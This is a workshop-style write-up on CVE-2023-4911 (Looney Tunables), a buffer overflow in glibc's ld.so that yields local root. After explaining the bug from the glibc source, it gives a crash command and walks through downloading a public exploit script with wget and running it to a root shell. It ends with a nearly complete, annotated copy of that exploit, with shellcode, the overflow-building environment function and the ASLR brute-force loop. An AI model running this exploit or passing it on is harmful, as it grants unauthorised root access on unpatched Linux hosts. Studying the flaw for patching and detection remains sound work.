## https://sploitus.com/exploit?id=FDF2715F-FEBB-5BC5-9B5F-2404AB382E45
# CVE-2023-4911-Looney-Tunables
Looney Tunables Local privilege escalation (CVE-2023-4911) workshop (for educational purposes only)
## Links:
* [IPPSEC video](https://www.youtube.com/watch?v=1iV-CD9Apn8)
* [Qualsys Blog Post](https://blog.qualys.com/vulnerabilities-threat-research/2023/10/03/cve-2023-4911-looney-tunables-local-privilege-escalation-in-the-glibcs-ld-so)
* [Qualsys Tech Details](https://www.qualys.com/2023/10/03/cve-2023-4911/looney-tunables-local-privilege-escalation-glibc-ld-so.txt)
* [Exploit POC python script](https://haxx.in/files/gnu-acme.py)
* [GLIBC sources](https://www.gnu.org/software/libc/sources.html)
* [GLIBC tunables documentation](https://github.com/lattera/glibc/blob/master/manual/README.tunables)
## Description
### What is ld.so?
In computing, a dynamic linker is the part of an operating system that **loads and links** the shared libraries needed by an executable when it is executed, by copying the content of libraries from persistent storage to RAM, filling jump tables and relocating pointers.
For example, we have program which uses openssl library to calculate md5 hash:
```
$ head md5_hash.c
#include <stdio.h>
#include <string.h>
#include <openssl/md5.h>
```
ld.so parses the binary and tries to find library related to <openssl/md5.h>
```
$ ldd md5_hash
linux-vdso.so.1 (0x00007fffa530b000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x00007f19cda00000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f19cd81e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f19ce032000)
```
As we can see, it finds necessary crypto library at **/lib/x86_64-linux-gnu/libcrypto.so.3**
During program startup, it put the code of this library into the process RAM and links all references to this library.
##### Summary
When a program is initiated, this loader first examines the program to determine the shared libraries it requires. It then searches for these libraries, loads them into memory, and links them with the executable at runtime. In the process, the dynamic loader resolves symbol references, such as function and variable references, ensuring that everything is set for the program’s execution. Given its role, the dynamic loader is highly security-sensitive, as its code runs with elevated privileges when a local user launches a set-user-ID or set-group-ID program.
### What is GLIBC Tunables?
Tunables are a feature in the GNU C Library that allows application authors and distribution maintainers to alter the runtime library behavior to match their workload. These are implemented as a set of switches that may be modified in different ways. The current default method to do this is via the GLIBC_TUNABLES environment variable by setting it to a string of colon-separated name=value pairs. For example, the following example enables malloc checking and sets the malloc trim threshold to 128 bytes:
```
GLIBC_TUNABLES=glibc.malloc.trim_threshold=128:glibc.malloc.check=3
export GLIBC_TUNABLES
```
Passing --list-tunables to the dynamic loader to print all tunables with minimum and maximum values:
```
$ /lib64/ld-linux-x86-64.so.2 --list-tunables
glibc.rtld.nns: 0x4 (min: 0x1, max: 0x10)
glibc.elision.skip_lock_after_retries: 3 (min: 0, max: 2147483647)
glibc.malloc.trim_threshold: 0x0 (min: 0x0, max: 0xffffffffffffffff)
glibc.malloc.perturb: 0 (min: 0, max: 255)
glibc.cpu.x86_shared_cache_size: 0x100000 (min: 0x0, max: 0xffffffffffffffff)
glibc.pthread.rseq: 1 (min: 0, max: 1)
glibc.cpu.prefer_map_32bit_exec: 0 (min: 0, max: 1)
glibc.mem.tagging: 0 (min: 0, max: 255)
```
## Vulnerability description
At the very beginning of its execution, ld.so calls __tunables_init() to walk through the environment (at line 279), searching for GLIBC_TUNABLES variables (at line 282); for each GLIBC_TUNABLES that it finds, it makes a copy of this variable (at line 284), calls parse_tunables() to process and sanitize this copy (at line 286), and finally replaces the original
GLIBC_TUNABLES with this sanitized copy (at line 288):
```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
269 void
270 __tunables_init (char **envp)
271 {
272 char *envname = NULL;
273 char *envval = NULL;
274 size_t len = 0;
275 char **prev_envp = envp;
...
279 while ((envp = get_next_env (envp, &envname, &len, &envval,
280 &prev_envp)) != NULL)
281 {
282 if (tunable_is_name ("GLIBC_TUNABLES", envname)) // searching for GLIBC_TUNABLES variables
283 {
284 char *new_env = tunables_strdup (envname);
285 if (new_env != NULL)
286 parse_tunables (new_env + len + 1, envval); //
287 /* Put in the updated envval. */
288 *prev_envp = new_env;
289 continue;
290 }
```
The first argument of parse_tunables() (tunestr) points to the soon-to-be-sanitized copy of GLIBC_TUNABLES, while the second argument (valstring) points to the original GLIBC_TUNABLES environment variable (in the stack). To sanitize the copy of GLIBC_TUNABLES (which should be of the form "tunable1=`aaa:tunable2=bbb"`), parse_tunables() removes all dangerous tunables (the SXID_ERASE tunables) from tunestr, but keeps SXID_IGNORE and NONE tunables (at lines 221-235):
```C
// (GLIBC ld.so sources in ./glibc-2.37/elf/dl-tunables.c)
162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168 char *p = tunestr;
169 size_t off = 0;
170
171 while (true)
172 {
173 char *name = p;
174 size_t len = 0;
175
176 /* First, find where the name ends. */
177 while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178 len++;
179
180 /* If we reach the end of the string before getting a valid name-value
181 pair, bail out. */
182 if (p[len] == '\0')
183 {
184 if (__libc_enable_secure)
185 tunestr[off] = '\0';
186 return;
187 }
188
189 /* We did not find a valid name-value pair before encountering the
190 colon. */
191 if (p[len]== ':')
192 {
193 p += len + 1;
194 continue;
195 }
196
197 p += len + 1;
198
199 /* Take the value from the valstring since we need to NULL terminate it. */
200 char *value = &valstring[p - tunestr];
201 len = 0;
202
203 while (p[len] != ':' && p[len] != '\0')
204 len++;
205
206 /* Add the tunable if it exists. */
207 for (size_t i = 0; i < sizeof (tunable_list) / sizeof (tunable_t); i++)
208 {
209 tunable_t *cur = &tunable_list[i];
210
211 if (tunable_is_name (cur->name, name))
212 {
...
219 if (__libc_enable_secure)
220 {
221 if (cur->security_level != TUNABLE_SECLEVEL_SXID_ERASE)
222 {
223 if (off > 0)
224 tunestr[off++] = ':';
225
226 const char *n = cur->name;
227
228 while (*n != '\0')
229 tunestr[off++] = *n++;
230
231 tunestr[off++] = '=';
232
233 for (size_t j = 0; j < len; j++)
234 tunestr[off++] = value[j];
235 }
236
237 if (cur->security_level != TUNABLE_SECLEVEL_NONE)
238 break;
239 }
240
241 value[len] = '\0';
242 tunable_initialize (cur, value);
243 break;
244 }
245 }
246
247 if (p[len] != '\0')
248 p += len + 1;
249 }
250 }
```
Unfortunately, if a GLIBC_TUNABLES environment variable is of the form "tunable1=tunable2=AAA" (where "tunable1" and "tunable2" are SXID_IGNORE tunables, for example "glibc.malloc.mxfast"), then:
- during the first iteration of the "while (true)" in parse_tunables(),
the entire "tunable1=tunable2=AAA" is copied in-place to tunestr (at
lines 221-235), thus filling up tunestr;
- at lines 247-248, p is not incremented (p[len] is '\0' because no ':'
was found at lines 203-204) and therefore p still points to the value
of "tunable1", i.e. "tunable2=AAA";
- during the second iteration of the "while (true)" in parse_tunables(),
"tunable2=AAA" is appended (as if it were a second tunable) to tunestr
(which is already full), thus overflowing tunestr.
<img src="https://raw.githubusercontent.com/KernelKrise/CVE-2023-4911/main/images/Pasted%20image%2020231025124811.png" width="800" />
## PoC
Command:
```bash
$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped)
```
Payload:
```
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A Z=000000000000000000000000000000000000000000000000000000000000000000000000000000000000<SNIP>00000000000000000001
```
Length -> 8236 bytes
## Exploitation
This vulnerability is a straightforward buffer overflow, but what should we overwrite to achieve arbitrary code execution? The buffer we overflow is allocated at line 284 by tunables_strdup(), a re-implementation of strdup() that uses ld.so's __minimal_malloc() instead of the glibc's malloc() (indeed, the glibc's malloc() has not been initialized yet). This __minimal_malloc() implementation simply calls mmap() to obtain more memory from the kernel.
Let's take a look at this code:
```C
56 struct link_map *
57 _dl_new_object (char *realname, const char *libname, int type,
58 struct link_map *loader, int mode, Lmid_t nsid)
59 {
..
84 struct link_map *new;
85 struct libname_list *newname;
..
92 new = (struct link_map *) calloc (sizeof (*new) + audit_space
93 + sizeof (struct link_map *)
94 + sizeof (*newname) + libname_len, 1);
95 if (new == NULL)
96 return NULL;
97
98 new->l_real = new;
99 new->l_symbolic_searchlist.r_list = (struct link_map **) ((char *) (new + 1)
100 + audit_space);
101
102 new->l_libname = newname
103 = (struct libname_list *) (new->l_symbolic_searchlist.r_list + 1);
104 newname->name = (char *) memcpy (newname + 1, libname, libname_len);
105 /* newname->next = NULL; We use calloc therefore not necessary. */
```
##### Overwriting pointers of the soon-to-be-allocated link_map structure
>ld.so allocates the memory for this link_map structure with calloc(), and therefore does not explicitly initialize various of its members to zero; this is a reasonable optimization. As mentioned earlier, calloc() here is not the glibc's calloc() but ld.so's __minimal_calloc(), which calls __minimal_malloc() *without* explicitly initializing the memory it returns to zero; this is also a reasonable optimization, because for all intents and purposes __minimal_malloc() always returns a clean chunk of mmap()ed memory, which is guaranteed to be initialized to zero by the kernel.
>
> Unfortunately, the buffer overflow in parse_tunables() allows us to overwrite clean mmap()ed memory with non-zero bytes, thereby overwriting pointers of the soon-to-be-allocated link_map structure with non-NULL values. This allows us to completely break the logic of ld.so, which assumes that these pointers are NULL.
#### Overflow Idea
> We realized that many more pointers in the link_map structure are not explicitly initialized to NULL; in particular, the pointers to Elf64_Dyn structures in the l_info[] array of pointers. Among these, `l_info[DT_RPATH]`, the "Library search path", immediately stood out: if we overwrite this pointer and control where and what it points to, then we can force ld.so to trust a directory that we own, and therefore to load our own libc.so.6 or LD_PRELOAD library from this directory, and execute arbitrary code (as root, if we run ld.so through a SUID-root program).
> Where should the overwritten `l_info[DT_RPATH]` point to? The easy answer to this question is: the stack; more precisely, our environment strings in the stack. On Linux, the stack is randomized in a 16GB region, and our environment strings can occupy up to 6MB (_STK_LIM / 4 * 3, in the kernel's bprm_stack_limits()): after 16GB / 6MB = 2730 tries we have a good chance of guessing the address of our environment strings (in our exploit, we always overwrite `l_info[DT_RPATH]` with 0x7ffdfffff010, the center of the randomized stack region). In our tests, this brute force takes ~30s on Debian, and ~5m on Ubuntu and Fedora (because of their automatic crash handlers, Apport and ABRT; we have not tried to work around this slowdown).
> What should the overwritten l_info[DT_RPATH] point to?
> In our exploit, we simply fill our 6MB of environment strings with 0xfffffffffffffff8 (-8), because at an offset of -8B below the string table of most SUID-root programs, the string "\x08" appears: this forces ld.so to trust a relative directory named "\x08" (in our current working directory), and therefore allows us to load and execute our own libc.so.6 or LD_PRELOAD library from this directory, as root.
Scheme:
<img src="https://raw.githubusercontent.com/KernelKrise/CVE-2023-4911/main/images/Pasted%20image%2020231025135538.png" width="1000" />
#### "\x08" byte at offset -8 in .DYNSTR:
!["\x08" byte in xxd](https://raw.githubusercontent.com/KernelKrise/CVE-2023-4911/main/images/Pasted%20image%2020231024234322.png)
## PoC LPE:
I am using my old kali linux snapshot to test PoC. Lets check if it is vulnerable:
```bash
[~/cve]$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
[1] 7995 segmentation fault env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" /usr/bin/s
```
We got SIGSEGV, so our system is vulnerable to this CVE LPE!
Let's download PoC script and test it:
```
[~/cve]$ wget -q https://haxx.in/files/gnu-acme.py
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <peter@haxx.in> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'\x08' at offset -8
[i] wrote patched libc.so.6
error: no target info found for build id e664396d7c25533074698a0695127259dbbf56f3
```
So, our ld.so build id is not in the list of targets, lets fix it!
Disable ASLR:
```bash
[~/cve]$ sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
```
Check again:
```
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <peter@haxx.in> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'\x08' at offset -8
[i] wrote patched libc.so.6
[i] ASLR is not enabled, attempting to find usable offsets
[i] using stack addr 0x7fffffffe10c
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 561
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 562
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 563
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 564
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 565
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 566
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 567
found working offset for ld.so 'e664396d7c25533074698a0695127259dbbf56f3' -> 568
```
So, our POC script find some useful offset, lets add our ld.so build id and offset to the script:
![TARGETS set in code](https://raw.githubusercontent.com/KernelKrise/CVE-2023-4911/main/images/Pasted%20image%2020231024212517.png)
Return ASLR:
```bash
[~/cve]$ sudo bash -c "echo 1 > /proc/sys/kernel/randomize_va_space"
```
Let's try PoC script again:
```
[~/cve]$ python3 gnu-acme.py
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <peter@haxx.in> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/su, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'\x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe1010100c
.........................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
whoami
root
# id
uid=0(root)
```
It works!
It is also working with another SUID files:
```bash
[~/cve]$ find /usr/bin/ -perm -u=s -type f 2>/dev/null
<SNIP>
/usr/bin/mount
<SNIP>
```
```
[~/cve]$ python3 gnu-acme.py /usr/bin/mount --help
$$$ glibc ld.so (CVE-2023-4911) exploit $$$
-- by blasty <peter@haxx.in> --
[i] libc = /lib/x86_64-linux-gnu/libc.so.6
[i] suid target = /usr/bin/mount, suid_args = ['--help']
[i] ld.so = /lib64/ld-linux-x86-64.so.2
[i] ld.so build id = e664396d7c25533074698a0695127259dbbf56f3
[i] __libc_start_main = 0x27700
[i] using hax path b'\x08' at offset -8
[i] wrote patched libc.so.6
[i] using stack addr 0x7ffe10101009
....................................................................................................................................................................................................................................................................................................................................................................................................................................# ** ohh... looks like we got a shell? **
id
uid=0(root)
```
### So, lets look at the PoC script:
At the beginning of PoC script we have dictionary ARCH with some **processor architectures** (i left only x86_64 as i use it).
In this dictionary we have
* "shellcode": to spawn ""/bin/sh" with root privileges
* "exitcode": it is also shellcode, but it executes exit(0x66)
* "stack_top": it is the maximum possible address of stack on x86_64
* "stack_aslr_bits": is entropy bits on x86_64 (bits that changed by ASLR)
```python
# This code is written by blasty <peter@haxx.in>, I just commented it to figure it out
# ORIGINAL POC SCRIPT -> https://haxx.in/files/gnu-acme.py
import binascii
# <SNIP>
from shutil import which
unhex = lambda v: binascii.unhexlify(v.replace(" ", ""))
ARCH = {
"x86_64": {
"shellcode": unhex(
"31ff6a69580f0531ff6a6a580f056a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05"
), # MODIFIED: context.arch = 'amd64'; asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh()).hex()
"exitcode": unhex("6a665f6a3c580f05"), # asm(shellcraft.exit(0x66)).hex()
"stack_top": 0x800000000000,
"stack_aslr_bits": 30, # https://www.researchgate.net/figure/Comparative-summary-of-bits-of-entropy_tbl3_334618410
}
}
```
Shellcode disassemble
```nasm
0: 31 ff xor edi, edi
2: 6a 69 push 0x69
4: 58 pop rax
5: 0f 05 syscall
7: 31 ff xor edi, edi
9: 6a 6a push 0x6a
b: 58 pop rax
c: 0f 05 syscall
e: 6a 68 push 0x68
10: 48 b8 2f 62 69 6e 2f 2f 2f 73 movabs rax, 0x732f2f2f6e69622f
1a: 50 push rax
1b: 48 89 e7 mov rdi, rsp
1e: 68 72 69 01 01 push 0x1016972
23: 81 34 24 01 01 01 01 xor DWORD PTR [rsp], 0x1010101
2a: 31 f6 xor esi, esi
2c: 56 push rsi
2d: 6a 08 push 0x8
2f: 5e pop rsi
30: 48 01 e6 add rsi, rsp
33: 56 push rsi
34: 48 89 e6 mov rsi, rsp
37: 31 d2 xor edx, edx
39: 6a 3b push 0x3b
3b: 58 pop rax
3c: 0f 05 syscall
```
Exitcode disassemble
```nasm
0: 6a 66 push 0x66
2: 5f pop rdi
3: 6a 3c push 0x3c
5: 58 pop rax
6: 0f 05 syscall
```
Next we have dictionary with targets (ld.so build id) and their buffer overflow offsets
```python
TARGETS = {
"e664396d7c25533074698a0695127259dbbf56f3": 568
}
```
Then, there are a lot of functions which are named for what they do and mostly they can be replaced by methods from the pwntools library.
So I don't see the point in discussing them in detail, except for a some of them
```python
# TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
def build_env(adjust, addr, offset, bits=64):
# heap meh shui
if bits == 64:
env = [ # Actual vulnerability exploit (buffer overflow)
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 8,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24,
]
pad = 172
fill = 47
else:
env = [
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"P" * adjust,
b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" + b"X" * 7,
b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14,
]
pad = 87
fill = 47 * 2
for j in range(pad): # fill buffer with NULL bytes to NOT overwrite nothing except what we want
env.append(b"")
if bits == 64: # overwrite l_info[DT_RPATH] pointer with pointer to stack
env.append(struct.pack("<Q", addr))
env.append(b"")
else:
env.append(struct.pack("<L", addr))
for i in range(384): # fill buffer with NULL bytes to NOT overwrite nothing except what we want
env.append(b"")
for i in range(fill): # write a lot of "-8" bytes to stack to force DT_RPATH use offset -8 in .DYNSTR
if bits == 64:
env.append(
struct.pack("<Q", offset & 0xFFFFFFFFFFFFFFFF) * 16382 + b"\xaa" * 7
)
else:
env.append(struct.pack("<L", offset & 0xFFFFFFFF) * 16382 + b"\xaa" * 7)
env.append(None)
return env
if __name__ == "__main__":
banner() # just print bunner
machine = os.uname().machine # uname of machine
if machine not in ARCH.keys():
error("architecture '%s' not supported" % machine)
print("[i] libc = %s" % lib_path("c").decode()) # print libc path
if len(sys.argv) == 1: # check if user pass SUID binary as args, if no use "su" binary
suid_path = which("su")
suid_args = ["--help"]
else:
suid_path = sys.argv[1]
suid_args = sys.argv[2:]
lsb = ((0x100 - (len(suid_path) + 1 + 8)) & 7) + 8 # Some value
print(f"[DEBUG] -> LSB: {lsb}")
print("[i] suid target = %s, suid_args = %s" % (suid_path, suid_args)) # print suid binary path with args
suid_e = lazy_elf(suid_path) # generate lazy_elf object with SUID binary
ld_path = suid_e.section_by_name(".interp").strip(b"\x00").decode() # get ld_path from suid binary .interp section
ld_e = lazy_elf(ld_path) # generate lazy_elf object with ld.so binary
print("[i] ld.so = %s" % ld_path) # print ld.so path
ld_build_id = binascii.hexlify( # get ld.so build id from ".note.gnu.build-id" section
ld_e.section_by_name(".note.gnu.build-id")[-20:]
).decode()
print("[i] ld.so build id = %s" % ld_build_id) # print ld.so build id
libc_e = lazy_elf(lib_path("c")) # generate lazy_elf object with libc.so.6 binary
__libc_start_main = libc_e.symbol("__libc_start_main") # find offset of __libc_start_main function in libc
if __libc_start_main == None: # if can't find __libc_start_main
error("could not resolve __libc_start_main")
print("[i] __libc_start_main = 0x%x" % __libc_start_main) # print offset of __libc_start_main
offset = suid_e.shdr_by_name(".dynstr")["offset"] # Find offset of .dynstr section
print(f"[DEBUG] -> .DYNSTR offset: {offset}")
hax_path = find_hax_path(suid_e.d, offset) # find value and offset in .dynstr to make trusted folder. It will be "\x08" at offset -8 ( [.dynstr - 8] )
if hax_path is None: # error if not find hax
error("could not find hax path")
print( # print hax
"[i] using hax path %s at offset %d"
% (
hax_path["path"],
hax_path["offset"],
)
)
if not os.path.exists(hax_path["path"]): # create folder ("\x08" to place libc there later)
os.mkdir(hax_path["path"])
argv = build_argv([suid_path] + suid_args) # just get array of arguments ( ["su", "--help", None] )
shellcode = ( # get shellcode (to spawn /bin/sh) or get exitcode which returns 0x66 if executed
ARCH[machine]["shellcode"] if is_aslr_enabled() else ARCH[machine]["exitcode"]
)
with open(hax_path["path"] + b"/libc.so.6", "wb") as fh: # open folder "\x08" and write patched (with shellcode) libc.so.6 there
fh.write(libc_e.d[0:__libc_start_main]) # all before __libc_start_main
fh.write(shellcode) # shellcode
fh.write(libc_e.d[__libc_start_main + len(shellcode) :]) # all after shellcode
print("[i] wrote patched libc.so.6")
if not is_aslr_enabled(): # if ASLR is not enabled
print("[i] ASLR is not enabled, attempting to find usable offsets")
stack_addr = ARCH[machine]["stack_top"] - 0x1F00
stack_addr += lsb
print("[i] using stack addr 0x%x" % stack_addr)
for adjust in range(128, 1024):
env = build_env(adjust, stack_addr, hax_path["offset"], suid_e.bits)
r = spawn(suid_path.encode(), argv, env)
if r == 0x66:
print(
"found working offset for ld.so '%s' -> %d" % (ld_build_id, adjust)
)
else:
if ld_build_id not in TARGETS.keys(): # check if ld.so build id in TARGET list (check if we know ofsset to overflow)
error("no target info found for build id %s" % ld_build_id)
stack_addr = ARCH[machine]["stack_top"] - ( # calculate minimum address of stack
1 << (ARCH[machine]["stack_aslr_bits"] - 1)
)
# In [11]: hex(1 << 29)
# Out[11]: '0x20000000'
# In [12]: hex(0x800000000000 - 0x20000000)
# Out[12]: '0x7fffe0000000'
print(f"[DEBUG] -> STACK ADDR: {hex(stack_addr)}")
stack_addr += lsb
# avoid NULL bytes in guessy addr (out of sheer laziness really)
for i in range(6 if suid_e.bits == 64 else 4): # some calculations to find usable offset in stack
if (stack_addr >> (i * 8)) & 0xFF == 0:
stack_addr |= 0x10 << (i * 8)
print("[i] using stack addr 0x%x" % stack_addr)
env = build_env( # create malicious environment variables (with overflow and stack overwrite)
TARGETS[ld_build_id], stack_addr, hax_path["offset"], suid_e.bits
)
# print(f"[DEBUG] -> ENV: {env}")
cnt = 1
while True:
if cnt % 0x10 == 0: # print "." every 10 executions
sys.stdout.write(".")
sys.stdout.flush()
if spawn(suid_path.encode(), argv, env) == 0x1337: # spawn process of SUID with malicious environment variables
print("goodbye. (took %d tries)" % cnt)
exit(0)
cnt += 1
```
Table with ASLR entropy on different arches:
![Table with ASLR entropy bits](https://raw.githubusercontent.com/KernelKrise/CVE-2023-4911/main/images/Pasted%20image%2020231025001316.png)